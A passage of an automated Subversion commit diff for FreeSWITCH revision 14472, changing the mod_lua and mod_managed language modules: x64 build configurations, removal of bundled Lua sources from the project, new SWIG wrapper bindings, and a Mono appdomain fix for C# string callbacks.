+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				AdditionalIncludeDirectories=".;./lua"
+				PreprocessorDefinitions="_CRT_SECURE_NO_DEPRECATE;_WIN32"
+				UsePrecompiledHeader="0"
+				DisableSpecificWarnings="4127, 4505"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				OutputFile="$(SolutionDir)$(PlatformName)\$(ConfigurationName)/mod/$(ProjectName).dll"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
 	</Configurations>
 	<References>
 	</References>
@@ -154,122 +292,6 @@
 			>
 		</File>
 		<File
-			RelativePath=".\lua\lapi.c"
-			>
-		</File>
-		<File
-			RelativePath=".\lua\lauxlib.c"
-			>
-		</File>
-		<File
-			RelativePath=".\lua\lbaselib.c"
-			>
-		</File>
-		<File
-			RelativePath=".\lua\lcode.c"
-			>
-		</File>
-		<File
-			RelativePath=".\lua\ldblib.c"
-			>
-		</File>
-		<File
-			RelativePath=".\lua\ldebug.c"
-			>
-		</File>
-		<File
-			RelativePath=".\lua\ldo.c"
-			>
-		</File>
-		<File
-			RelativePath=".\lua\ldump.c"
-			>
-		</File>
-		<File
-			RelativePath=".\lua\lfunc.c"
-			>
-		</File>
-		<File
-			RelativePath=".\lua\lgc.c"
-			>
-		</File>
-		<File
-			RelativePath=".\lua\linit.c"
-			>
-		</File>
-		<File
-			RelativePath=".\lua\liolib.c"
-			>
-		</File>
-		<File
-			RelativePath=".\lua\llex.c"
-			>
-		</File>
-		<File
-			RelativePath=".\lua\lmathlib.c"
-			>
-		</File>
-		<File
-			RelativePath=".\lua\lmem.c"
-			>
-		</File>
-		<File
-			RelativePath=".\lua\loadlib.c"
-			>
-		</File>
-		<File
-			RelativePath=".\lua\lobject.c"
-			>
-		</File>
-		<File
-			RelativePath=".\lua\lopcodes.c"
-			>
-		</File>
-		<File
-			RelativePath=".\lua\loslib.c"
-			>
-		</File>
-		<File
-			RelativePath=".\lua\lparser.c"
-			>
-		</File>
-		<File
-			RelativePath=".\lua\lstate.c"
-			>
-		</File>
-		<File
-			RelativePath=".\lua\lstring.c"
-			>
-		</File>
-		<File
-			RelativePath=".\lua\lstrlib.c"
-			>
-		</File>
-		<File
-			RelativePath=".\lua\ltable.c"
-			>
-		</File>
-		<File
-			RelativePath=".\lua\ltablib.c"
-			>
-		</File>
-		<File
-			RelativePath=".\lua\ltm.c"
-			>
-		</File>
-		<File
-			RelativePath=".\lua\lundump.c"
-			>
-		</File>
-		<File
-			RelativePath=".\lua\lvm.c"
-			>
-		</File>
-		<File
-			RelativePath=".\lua\lzio.c"
-			>
-		</File>
-		<File
 			RelativePath=".\mod_lua.cpp"
 			>
 		</File>
@@ -285,6 +307,14 @@
 				/>
 			</FileConfiguration>
 			<FileConfiguration
+				Name="Debug|x64"
+				>
+				<Tool
+					Name="VCCLCompilerTool"
+					DisableSpecificWarnings="6385"
+				/>
+			</FileConfiguration>
+			<FileConfiguration
 				Name="Release|Win32"
 				>
 				<Tool
@@ -292,6 +322,14 @@
 					DisableSpecificWarnings="6385"
 				/>
 			</FileConfiguration>
+			<FileConfiguration
+				Name="Release|x64"
+				>
+				<Tool
+					Name="VCCLCompilerTool"
+					DisableSpecificWarnings="6385"
+				/>
+			</FileConfiguration>
 		</File>
 	</Files>
 	<Globals>

Modified: freeswitch/branches/seven/src/mod/languages/mod_lua/mod_lua.cpp (14471 => 14472)


--- freeswitch/branches/seven/src/mod/languages/mod_lua/mod_lua.cpp	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/languages/mod_lua/mod_lua.cpp	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,13 +17,13 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  *
  * mod_lua.c -- Lua
  *
@@ -44,7 +44,6 @@
 static struct {
 	switch_memory_pool_t *pool;
 	char *xml_handler;
-	switch_event_node_t *node;
 } globals;
 
 int luaopen_freeswitch(lua_State * L);
@@ -156,7 +155,14 @@
 				error = luaL_loadbuffer(L, code, strlen(code), "line") || docall(L, 0, 1);
 				switch_safe_free(code);
 			}
+		} else {
+			// Force empty argv table
+			char *code = NULL;
+			code = switch_mprintf("argv = {};");
+			error = luaL_loadbuffer(L, code, strlen(code), "line") || docall(L, 0, 1);
+			switch_safe_free(code);
 		}
+
 		if (!error) {
 			char *file = input_code, *fdup = NULL;
 
@@ -208,6 +214,7 @@
 		lua_State *L = lua_init();
 		char *mycmd = strdup(globals.xml_handler);
 		const char *str;
+		int error;
 
 		switch_assert(mycmd);
 
@@ -231,15 +238,21 @@
 			mod_lua_conjure_event(L, params, "params", 1);
 		}
 
-		lua_parse_and_execute(L, mycmd);
+		if( error = lua_parse_and_execute(L, mycmd) ){
+		    switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "LUA script parse/execute error!\n");
+		    return NULL;
+		}
 
 		lua_getfield(L, LUA_GLOBALSINDEX, "XML_STRING");
 		str = lua_tostring(L, 1);
-
+		
 		if (str) {
 			if (switch_strlen_zero(str)) {
 				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "No Result\n");
-			} else if (!(xml = switch_xml_parse_str((char *) str, strlen(str)))) {
+			} else if (!(xml = switch_xml_parse_str_dynamic((char *)str, SWITCH_TRUE))) { 
+				/* const char -> char conversion was OK because switch_xml_parse_str_dynamic makes a duplicate of str 
+				   and saves this duplcate as root->m which is freed when switch_xml_free is issued
+				*/
 				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error Parsing XML Result!\n");
 			}
 		}
@@ -280,13 +293,13 @@
 				}
 			} else if (!strcmp(var, "module-directory") && !switch_strlen_zero(val)) {
 				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "lua: appending module directory: '%s'\n", val);
-				if(cpath_stream.data_len) {
+				if (cpath_stream.data_len) {
 					cpath_stream.write_function(&cpath_stream, ";");
 				}
 				cpath_stream.write_function(&cpath_stream, "%s", val);
 			} else if (!strcmp(var, "script-directory") && !switch_strlen_zero(val)) {
 				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "lua: appending script directory: '%s'\n", val);
-				if(path_stream.data_len) {
+				if (path_stream.data_len) {
 					path_stream.write_function(&path_stream, ";");
 				}
 				path_stream.write_function(&path_stream, "%s", val);
@@ -431,38 +444,11 @@
 	return SWITCH_STATUS_SUCCESS;
 }
 
-static void message_query_handler(switch_event_t *event)
-{
-	char *account = switch_event_get_header(event, "message-account");
-
-	if (account) {
-		char *path, *cmd;
-
-		path = switch_mprintf("%s%smwi.lua", SWITCH_GLOBAL_dirs.script_dir, SWITCH_PATH_SEPARATOR);
-		switch_assert(path != NULL);
-
-		if (switch_file_exists(path, NULL) == SWITCH_STATUS_SUCCESS) {
-			cmd = switch_mprintf("%s %s", path, account);
-			switch_assert(cmd != NULL);
-			lua_thread(cmd);
-			switch_safe_free(cmd);
-		}
-
-		switch_safe_free(path);
-	}
-}
-
 SWITCH_MODULE_LOAD_FUNCTION(mod_lua_load)
 {
 	switch_api_interface_t *api_interface;
 	switch_application_interface_t *app_interface;
 
-	if (switch_event_bind_removable(modname, SWITCH_EVENT_MESSAGE_QUERY, SWITCH_EVENT_SUBCLASS_ANY, message_query_handler, NULL, &globals.node)
-		!= SWITCH_STATUS_SUCCESS) {
-		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Couldn't bind!\n");
-		return SWITCH_STATUS_GENERR;
-	}
-
 	/* connect my internal structure to the blank pointer passed to me */
 	*module_interface = switch_loadable_module_create_module_interface(pool, modname);
 
@@ -481,7 +467,6 @@
 
 SWITCH_MODULE_SHUTDOWN_FUNCTION(mod_lua_shutdown)
 {
-	switch_event_unbind(&globals.node);
 	return SWITCH_STATUS_SUCCESS;
 }
 

Modified: freeswitch/branches/seven/src/mod/languages/mod_lua/mod_lua.vcproj (14471 => 14472)


--- freeswitch/branches/seven/src/mod/languages/mod_lua/mod_lua.vcproj	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/languages/mod_lua/mod_lua.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -6,7 +6,6 @@
 	ProjectGUID="{7B077E7F-1BE7-4291-AB86-55E527B25CAC}"
 	RootNamespace="mod_lua"
 	Keyword="Win32Proj"
-	TargetFrameworkVersion="131072"
 	>
 	<Platforms>
 		<Platform
@@ -40,7 +39,7 @@
 			<Tool
 				Name="VCCLCompilerTool"
 				AdditionalIncludeDirectories=".;./lua"
-				PreprocessorDefinitions="WIN32;_DEBUG;_WINDOWS;_USRDLL;MOD_EXPORTS;_CRT_SECURE_NO_DEPRECATE;_WIN32"
+				PreprocessorDefinitions="WIN32;_DEBUG;_WINDOWS;_USRDLL;MOD_EXPORTS;_CRT_SECURE_NO_DEPRECATE;_WIN32;LUA_BUILD_AS_DLL"
 				UsePrecompiledHeader="0"
 				DisableSpecificWarnings="4127, 4505"
 				EnablePREfast="false"
@@ -56,8 +55,6 @@
 			/>
 			<Tool
 				Name="VCLinkerTool"
-				RandomizedBaseAddress="1"
-				DataExecutionPrevention="0"
 			/>
 			<Tool
 				Name="VCALinkTool"
@@ -78,6 +75,9 @@
 				Name="VCAppVerifierTool"
 			/>
 			<Tool
+				Name="VCWebDeploymentTool"
+			/>
+			<Tool
 				Name="VCPostBuildEventTool"
 			/>
 		</Configuration>
@@ -105,7 +105,7 @@
 			<Tool
 				Name="VCCLCompilerTool"
 				AdditionalIncludeDirectories=".;./lua"
-				PreprocessorDefinitions="_CRT_SECURE_NO_DEPRECATE;_WIN32"
+				PreprocessorDefinitions="_CRT_SECURE_NO_DEPRECATE;_WIN32;LUA_BUILD_AS_DLL"
 				UsePrecompiledHeader="0"
 				DisableSpecificWarnings="4127, 4505"
 			/>
@@ -120,8 +120,6 @@
 			/>
 			<Tool
 				Name="VCLinkerTool"
-				RandomizedBaseAddress="1"
-				DataExecutionPrevention="0"
 			/>
 			<Tool
 				Name="VCALinkTool"
@@ -142,6 +140,9 @@
 				Name="VCAppVerifierTool"
 			/>
 			<Tool
+				Name="VCWebDeploymentTool"
+			/>
+			<Tool
 				Name="VCPostBuildEventTool"
 			/>
 		</Configuration>
@@ -154,122 +155,6 @@
 			>
 		</File>
 		<File
-			RelativePath=".\lua\lapi.c"
-			>
-		</File>
-		<File
-			RelativePath=".\lua\lauxlib.c"
-			>
-		</File>
-		<File
-			RelativePath=".\lua\lbaselib.c"
-			>
-		</File>
-		<File
-			RelativePath=".\lua\lcode.c"
-			>
-		</File>
-		<File
-			RelativePath=".\lua\ldblib.c"
-			>
-		</File>
-		<File
-			RelativePath=".\lua\ldebug.c"
-			>
-		</File>
-		<File
-			RelativePath=".\lua\ldo.c"
-			>
-		</File>
-		<File
-			RelativePath=".\lua\ldump.c"
-			>
-		</File>
-		<File
-			RelativePath=".\lua\lfunc.c"
-			>
-		</File>
-		<File
-			RelativePath=".\lua\lgc.c"
-			>
-		</File>
-		<File
-			RelativePath=".\lua\linit.c"
-			>
-		</File>
-		<File
-			RelativePath=".\lua\liolib.c"
-			>
-		</File>
-		<File
-			RelativePath=".\lua\llex.c"
-			>
-		</File>
-		<File
-			RelativePath=".\lua\lmathlib.c"
-			>
-		</File>
-		<File
-			RelativePath=".\lua\lmem.c"
-			>
-		</File>
-		<File
-			RelativePath=".\lua\loadlib.c"
-			>
-		</File>
-		<File
-			RelativePath=".\lua\lobject.c"
-			>
-		</File>
-		<File
-			RelativePath=".\lua\lopcodes.c"
-			>
-		</File>
-		<File
-			RelativePath=".\lua\loslib.c"
-			>
-		</File>
-		<File
-			RelativePath=".\lua\lparser.c"
-			>
-		</File>
-		<File
-			RelativePath=".\lua\lstate.c"
-			>
-		</File>
-		<File
-			RelativePath=".\lua\lstring.c"
-			>
-		</File>
-		<File
-			RelativePath=".\lua\lstrlib.c"
-			>
-		</File>
-		<File
-			RelativePath=".\lua\ltable.c"
-			>
-		</File>
-		<File
-			RelativePath=".\lua\ltablib.c"
-			>
-		</File>
-		<File
-			RelativePath=".\lua\ltm.c"
-			>
-		</File>
-		<File
-			RelativePath=".\lua\lundump.c"
-			>
-		</File>
-		<File
-			RelativePath=".\lua\lvm.c"
-			>
-		</File>
-		<File
-			RelativePath=".\lua\lzio.c"
-			>
-		</File>
-		<File
 			RelativePath=".\mod_lua.cpp"
 			>
 		</File>

Modified: freeswitch/branches/seven/src/mod/languages/mod_lua/mod_lua_wrap.cpp (14471 => 14472)


--- freeswitch/branches/seven/src/mod/languages/mod_lua/mod_lua_wrap.cpp	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/languages/mod_lua/mod_lua_wrap.cpp	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1588,15 +1588,17 @@
   char *arg6 = (char *) 0 ;
   char *arg7 = (char *) 0 ;
   char *arg8 = (char *) 0 ;
-  int arg9 ;
-  int arg10 ;
+  char *arg9 = (char *) 0 ;
+  char *arg10 = (char *) 0 ;
   int arg11 ;
   int arg12 ;
   int arg13 ;
   int arg14 ;
+  int arg15 ;
+  int arg16 ;
   IVRMenu *result = 0 ;
   
-  SWIG_check_num_args("IVRMenu",14,14)
+  SWIG_check_num_args("IVRMenu",16,16)
   if(!SWIG_isptrtype(L,1)) SWIG_fail_arg("IVRMenu",1,"IVRMenu *");
   if(!lua_isstring(L,2)) SWIG_fail_arg("IVRMenu",2,"char const *");
   if(!lua_isstring(L,3)) SWIG_fail_arg("IVRMenu",3,"char const *");
@@ -1605,12 +1607,14 @@
   if(!lua_isstring(L,6)) SWIG_fail_arg("IVRMenu",6,"char const *");
   if(!lua_isstring(L,7)) SWIG_fail_arg("IVRMenu",7,"char const *");
   if(!lua_isstring(L,8)) SWIG_fail_arg("IVRMenu",8,"char const *");
-  if(!lua_isnumber(L,9)) SWIG_fail_arg("IVRMenu",9,"int");
-  if(!lua_isnumber(L,10)) SWIG_fail_arg("IVRMenu",10,"int");
+  if(!lua_isstring(L,9)) SWIG_fail_arg("IVRMenu",9,"char const *");
+  if(!lua_isstring(L,10)) SWIG_fail_arg("IVRMenu",10,"char const *");
   if(!lua_isnumber(L,11)) SWIG_fail_arg("IVRMenu",11,"int");
   if(!lua_isnumber(L,12)) SWIG_fail_arg("IVRMenu",12,"int");
   if(!lua_isnumber(L,13)) SWIG_fail_arg("IVRMenu",13,"int");
   if(!lua_isnumber(L,14)) SWIG_fail_arg("IVRMenu",14,"int");
+  if(!lua_isnumber(L,15)) SWIG_fail_arg("IVRMenu",15,"int");
+  if(!lua_isnumber(L,16)) SWIG_fail_arg("IVRMenu",16,"int");
   
   if (!SWIG_IsOK(SWIG_ConvertPtr(L,1,(void**)&arg1,SWIGTYPE_p_IVRMenu,0))){
     SWIG_fail_ptr("new_IVRMenu",1,SWIGTYPE_p_IVRMenu);
@@ -1623,13 +1627,15 @@
   arg6 = (char *)lua_tostring(L, 6);
   arg7 = (char *)lua_tostring(L, 7);
   arg8 = (char *)lua_tostring(L, 8);
-  arg9 = (int)lua_tonumber(L, 9);
-  arg10 = (int)lua_tonumber(L, 10);
+  arg9 = (char *)lua_tostring(L, 9);
+  arg10 = (char *)lua_tostring(L, 10);
   arg11 = (int)lua_tonumber(L, 11);
   arg12 = (int)lua_tonumber(L, 12);
   arg13 = (int)lua_tonumber(L, 13);
   arg14 = (int)lua_tonumber(L, 14);
-  result = (IVRMenu *)new IVRMenu(arg1,(char const *)arg2,(char const *)arg3,(char const *)arg4,(char const *)arg5,(char const *)arg6,(char const *)arg7,(char const *)arg8,arg9,arg10,arg11,arg12,arg13,arg14);
+  arg15 = (int)lua_tonumber(L, 15);
+  arg16 = (int)lua_tonumber(L, 16);
+  result = (IVRMenu *)new IVRMenu(arg1,(char const *)arg2,(char const *)arg3,(char const *)arg4,(char const *)arg5,(char const *)arg6,(char const *)arg7,(char const *)arg8,(char const *)arg9,(char const *)arg10,arg11,arg12,arg13,arg14,arg15,arg16);
   SWIG_arg=0;
   SWIG_NewPointerObj(L,result,SWIGTYPE_p_IVRMenu,1); SWIG_arg++; 
   return SWIG_arg;
@@ -1852,6 +1858,31 @@
 }
 
 
+static int _wrap_API_getTime(lua_State* L) {
+  int SWIG_arg = -1;
+  API *arg1 = (API *) 0 ;
+  char *result = 0 ;
+  
+  SWIG_check_num_args("getTime",1,1)
+  if(!SWIG_isptrtype(L,1)) SWIG_fail_arg("getTime",1,"API *");
+  
+  if (!SWIG_IsOK(SWIG_ConvertPtr(L,1,(void**)&arg1,SWIGTYPE_p_API,0))){
+    SWIG_fail_ptr("API_getTime",1,SWIGTYPE_p_API);
+  }
+  
+  result = (char *)(arg1)->getTime();
+  SWIG_arg=0;
+  lua_pushstring(L,(const char*)result); SWIG_arg++;
+  return SWIG_arg;
+  
+  if(0) SWIG_fail;
+  
+fail:
+  lua_error(L);
+  return SWIG_arg;
+}
+
+
 static void swig_delete_API(void *obj) {
 API *arg1 = (API *) obj;
 delete arg1;
@@ -1859,6 +1890,7 @@
 static swig_lua_method swig_API_methods[] = {
     {"execute", _wrap_API_execute}, 
     {"executeString", _wrap_API_executeString}, 
+    {"getTime", _wrap_API_getTime}, 
     {0,0}
 };
 static swig_lua_attribute swig_API_attributes[] = {
@@ -3828,7 +3860,7 @@
   arg2 = (int)lua_tonumber(L, 2);
   result = (Event *)(arg1)->pop(arg2);
   SWIG_arg=0;
-  SWIG_NewPointerObj(L,result,SWIGTYPE_p_Event,0); SWIG_arg++; 
+  SWIG_NewPointerObj(L,result,SWIGTYPE_p_Event,1); SWIG_arg++; 
   return SWIG_arg;
   
   if(0) SWIG_fail;
@@ -3853,7 +3885,7 @@
   
   result = (Event *)(arg1)->pop();
   SWIG_arg=0;
-  SWIG_NewPointerObj(L,result,SWIGTYPE_p_Event,0); SWIG_arg++; 
+  SWIG_NewPointerObj(L,result,SWIGTYPE_p_Event,1); SWIG_arg++; 
   return SWIG_arg;
   
   if(0) SWIG_fail;
@@ -6589,8 +6621,8 @@
   
   SWIG_check_num_args("execute",3,3)
   if(!SWIG_isptrtype(L,1)) SWIG_fail_arg("execute",1,"CoreSession *");
-  if(!lua_isstring(L,2)) SWIG_fail_arg("execute",2,"char *");
-  if(!lua_isstring(L,3)) SWIG_fail_arg("execute",3,"char *");
+  if(!lua_isstring(L,2)) SWIG_fail_arg("execute",2,"char const *");
+  if(!lua_isstring(L,3)) SWIG_fail_arg("execute",3,"char const *");
   
   if (!SWIG_IsOK(SWIG_ConvertPtr(L,1,(void**)&arg1,SWIGTYPE_p_CoreSession,0))){
     SWIG_fail_ptr("CoreSession_execute",1,SWIGTYPE_p_CoreSession);
@@ -6598,7 +6630,7 @@
   
   arg2 = (char *)lua_tostring(L, 2);
   arg3 = (char *)lua_tostring(L, 3);
-  (arg1)->execute(arg2,arg3);
+  (arg1)->execute((char const *)arg2,(char const *)arg3);
   SWIG_arg=0;
   
   return SWIG_arg;
@@ -6618,14 +6650,14 @@
   
   SWIG_check_num_args("execute",2,2)
   if(!SWIG_isptrtype(L,1)) SWIG_fail_arg("execute",1,"CoreSession *");
-  if(!lua_isstring(L,2)) SWIG_fail_arg("execute",2,"char *");
+  if(!lua_isstring(L,2)) SWIG_fail_arg("execute",2,"char const *");
   
   if (!SWIG_IsOK(SWIG_ConvertPtr(L,1,(void**)&arg1,SWIGTYPE_p_CoreSession,0))){
     SWIG_fail_ptr("CoreSession_execute",1,SWIGTYPE_p_CoreSession);
   }
   
   arg2 = (char *)lua_tostring(L, 2);
-  (arg1)->execute(arg2);
+  (arg1)->execute((char const *)arg2);
   SWIG_arg=0;
   
   return SWIG_arg;
@@ -7356,6 +7388,30 @@
 }
 
 
+static int _wrap_Session_destroy(lua_State* L) {
+  int SWIG_arg = -1;
+  LUA::Session *arg1 = (LUA::Session *) 0 ;
+  
+  SWIG_check_num_args("destroy",1,1)
+  if(!SWIG_isptrtype(L,1)) SWIG_fail_arg("destroy",1,"LUA::Session *");
+  
+  if (!SWIG_IsOK(SWIG_ConvertPtr(L,1,(void**)&arg1,SWIGTYPE_p_LUA__Session,0))){
+    SWIG_fail_ptr("Session_destroy",1,SWIGTYPE_p_LUA__Session);
+  }
+  
+  (arg1)->destroy();
+  SWIG_arg=0;
+  
+  return SWIG_arg;
+  
+  if(0) SWIG_fail;
+  
+fail:
+  lua_error(L);
+  return SWIG_arg;
+}
+
+
 static int _wrap_Session_begin_allow_threads(lua_State* L) {
   int SWIG_arg = -1;
   LUA::Session *arg1 = (LUA::Session *) 0 ;
@@ -8054,6 +8110,7 @@
 delete arg1;
 }
 static swig_lua_method swig_LUA_Session_methods[] = {
+    {"destroy", _wrap_Session_destroy}, 
     {"begin_allow_threads", _wrap_Session_begin_allow_threads}, 
     {"end_allow_threads", _wrap_Session_end_allow_threads}, 
     {"check_hangup_hook", _wrap_Session_check_hangup_hook}, 

Property changes: freeswitch/branches/seven/src/mod/languages/mod_managed


Name: svn:ignore
   - Debug_CLR
*.pdb
*.user
Release_CLR
   + Debug_CLR
*.pdb
*.user
Release_CLR
x64

Modified: freeswitch/branches/seven/src/mod/languages/mod_managed/Makefile (14471 => 14472)


--- freeswitch/branches/seven/src/mod/languages/mod_managed/Makefile	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/languages/mod_managed/Makefile	2009-08-09 18:53:22 UTC (rev 14472)
@@ -34,7 +34,7 @@
 	rm -f freeswitch_wrap.cxx freeswitch_wrap.cpp managed/swig.cs
 
 freeswitch_wrap.cxx:
-	swig -I../../../include -v -O -c++ -csharp -namespace FreeSWITCH.Native -dllimport mod_managed freeswitch.i
+	swig -I../../../include -v -O -c++ -csharp -namespace FreeSWITCH.Native -dllimport mod_managed -DSWIG_CSHARP_NO_STRING_HELPER freeswitch.i
 	rm -f ./managed/swig.cs
 	cat *.cs > ./managed/swig.cs
 	rm -f *.cs

Modified: freeswitch/branches/seven/src/mod/languages/mod_managed/freeswitch.i (14471 => 14472)


--- freeswitch/branches/seven/src/mod/languages/mod_managed/freeswitch.i	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/languages/mod_managed/freeswitch.i	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,5 +1,70 @@
 %module freeswitch
 
+/** String fix - copied from csharphead.swg with fix for multiple appdomains **/
+/* Must pass -DSWIG_CSHARP_NO_STRING_HELPER to swig */
+
+#if defined(SWIG_CSHARP_NO_STRING_HELPER)
+%insert(runtime) %{
+
+/* Callback for returning strings to C# without leaking memory */
+#ifndef _MANAGED
+#include <glib.h>
+#include <mono/jit/jit.h>
+#include <mono/metadata/environment.h>
+#include <mono/metadata/mono-config.h>
+#include <mono/metadata/threads.h>
+#include <mono/metadata/debug-helpers.h>
+#endif
+
+typedef char * (SWIGSTDCALL* SWIG_CSharpStringHelperCallback)(const char *);
+static SWIG_CSharpStringHelperCallback SWIG_csharp_string_callback_real = NULL;
+%}
+
+%pragma(csharp) imclasscode=%{
+  protected class SWIGStringHelper {
+
+    public delegate string SWIGStringDelegate(string message);
+    static SWIGStringDelegate stringDelegate = new SWIGStringDelegate(CreateString);
+
+    [DllImport("$dllimport", EntryPoint="SWIGRegisterStringCallback_$module")]
+    public static extern void SWIGRegisterStringCallback_$module(SWIGStringDelegate stringDelegate);
+
+    static string CreateString(string cString) {
+      return cString;
+    }
+
+    static SWIGStringHelper() {
+      SWIGRegisterStringCallback_$module(stringDelegate);
+    }
+  }
+
+  static protected SWIGStringHelper swigStringHelper = new SWIGStringHelper();
+%}
+
+%insert(runtime) %{
+#ifdef __cplusplus
+extern "C" 
+#endif
+SWIGEXPORT void SWIGSTDCALL SWIGRegisterStringCallback_freeswitch(SWIG_CSharpStringHelperCallback callback) {
+	/* Set this only once, in the main appdomain */
+	if (SWIG_csharp_string_callback_real == NULL) SWIG_csharp_string_callback_real = callback;
+}
+char * SWIG_csharp_string_callback(const char * str) {
+#ifndef _MANAGED
+	// Mono won't transition appdomains properly after the callback, so we force it
+	MonoDomain* dom = mono_domain_get();
+	char* res = SWIG_csharp_string_callback_real(str);
+	mono_domain_set(dom, true);
+	return res;
+#else
+	return SWIG_csharp_string_callback_real(str);
+#endif
+}
+%}
+#endif // SWIG_CSHARP_NO_STRING_HELPER
+
+
+
 /** insert the following includes into generated code so it compiles */
 %{
 #include "switch.h"
@@ -10,6 +75,7 @@
 %typemap(csclassmodifiers) ManagedSession "public partial class"
 %typemap(csclassmodifiers) Event "public partial class"
 %typemap(csclassmodifiers) Stream "public partial class"
+%newobject EventConsumer::pop;
 
 // Allow bitwise compare on flag fields
 %typemap(csclassmodifiers) session_flag_t "[System.Flags] public enum"
@@ -108,6 +174,9 @@
 %ignore switch_xml_idx;
 %ignore switch_xml_pi;
 
+// GCC complains "ISO C++ forbids assignment of arrays"
+%ignore switch_vmprintf;
+
 // Real header includes now
 %import switch_platform.i // This will give us all the macros we need to compile the other stuff
 
@@ -135,6 +204,5 @@
 %include switch_core_event_hook.h
 %include switch_scheduler.h
 %include switch_config.h
-
 %include switch_cpp.h
 %include freeswitch_managed.h

Modified: freeswitch/branches/seven/src/mod/languages/mod_managed/freeswitch_wrap.cxx (14471 => 14472)


--- freeswitch/branches/seven/src/mod/languages/mod_managed/freeswitch_wrap.cxx	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/languages/mod_managed/freeswitch_wrap.cxx	2009-08-09 18:53:22 UTC (rev 14472)
@@ -251,24 +251,46 @@
 }
 
 
+/* Contract support */
+
+#define SWIG_contract_assert(nullreturn, expr, msg) if (!(expr)) {SWIG_CSharpSetPendingExceptionArgument(SWIG_CSharpArgumentOutOfRangeException, msg, ""); return nullreturn; } else
+
+
+
 /* Callback for returning strings to C# without leaking memory */
+#ifndef _MANAGED
+#include <glib.h>
+#include <mono/jit/jit.h>
+#include <mono/metadata/environment.h>
+#include <mono/metadata/mono-config.h>
+#include <mono/metadata/threads.h>
+#include <mono/metadata/debug-helpers.h>
+#endif
+
 typedef char * (SWIGSTDCALL* SWIG_CSharpStringHelperCallback)(const char *);
-static SWIG_CSharpStringHelperCallback SWIG_csharp_string_callback = NULL;
+static SWIG_CSharpStringHelperCallback SWIG_csharp_string_callback_real = NULL;
 
 
 #ifdef __cplusplus
 extern "C" 
 #endif
 SWIGEXPORT void SWIGSTDCALL SWIGRegisterStringCallback_freeswitch(SWIG_CSharpStringHelperCallback callback) {
-  SWIG_csharp_string_callback = callback;
+	/* Set this only once, in the main appdomain */
+	if (SWIG_csharp_string_callback_real == NULL) SWIG_csharp_string_callback_real = callback;
 }
+char * SWIG_csharp_string_callback(const char * str) {
+#ifndef _MANAGED
+	// Mono won't transition appdomains properly after the callback, so we force it
+	MonoDomain* dom = mono_domain_get();
+	char* res = SWIG_csharp_string_callback_real(str);
+	mono_domain_set(dom, true);
+	return res;
+#else
+	return SWIG_csharp_string_callback_real(str);
+#endif
+}
 
 
-/* Contract support */
-
-#define SWIG_contract_assert(nullreturn, expr, msg) if (!(expr)) {SWIG_CSharpSetPendingExceptionArgument(SWIG_CSharpArgumentOutOfRangeException, msg, ""); return nullreturn; } else
-
-
 #include "switch.h"
 #include "switch_cpp.h"
 #include "freeswitch_managed.h"
@@ -905,6 +927,28 @@
 }
 
 
+SWIGEXPORT char * SWIGSTDCALL CSharp_SWITCH_BRIDGE_HANGUP_CAUSE_VARIABLE_get() {
+  char * jresult ;
+  char *result = 0 ;
+  
+  result = (char *) "bridge_hangup_cause";
+  
+  jresult = SWIG_csharp_string_callback((const char *)result); 
+  return jresult;
+}
+
+
+SWIGEXPORT char * SWIGSTDCALL CSharp_SWITCH_READ_TERMINATOR_USED_VARIABLE_get() {
+  char * jresult ;
+  char *result = 0 ;
+  
+  result = (char *) "read_terminator_used";
+  
+  jresult = SWIG_csharp_string_callback((const char *)result); 
+  return jresult;
+}
+
+
 SWIGEXPORT char * SWIGSTDCALL CSharp_SWITCH_SEND_SILENCE_WHEN_IDLE_VARIABLE_get() {
   char * jresult ;
   char *result = 0 ;
@@ -1323,6 +1367,17 @@
 }
 
 
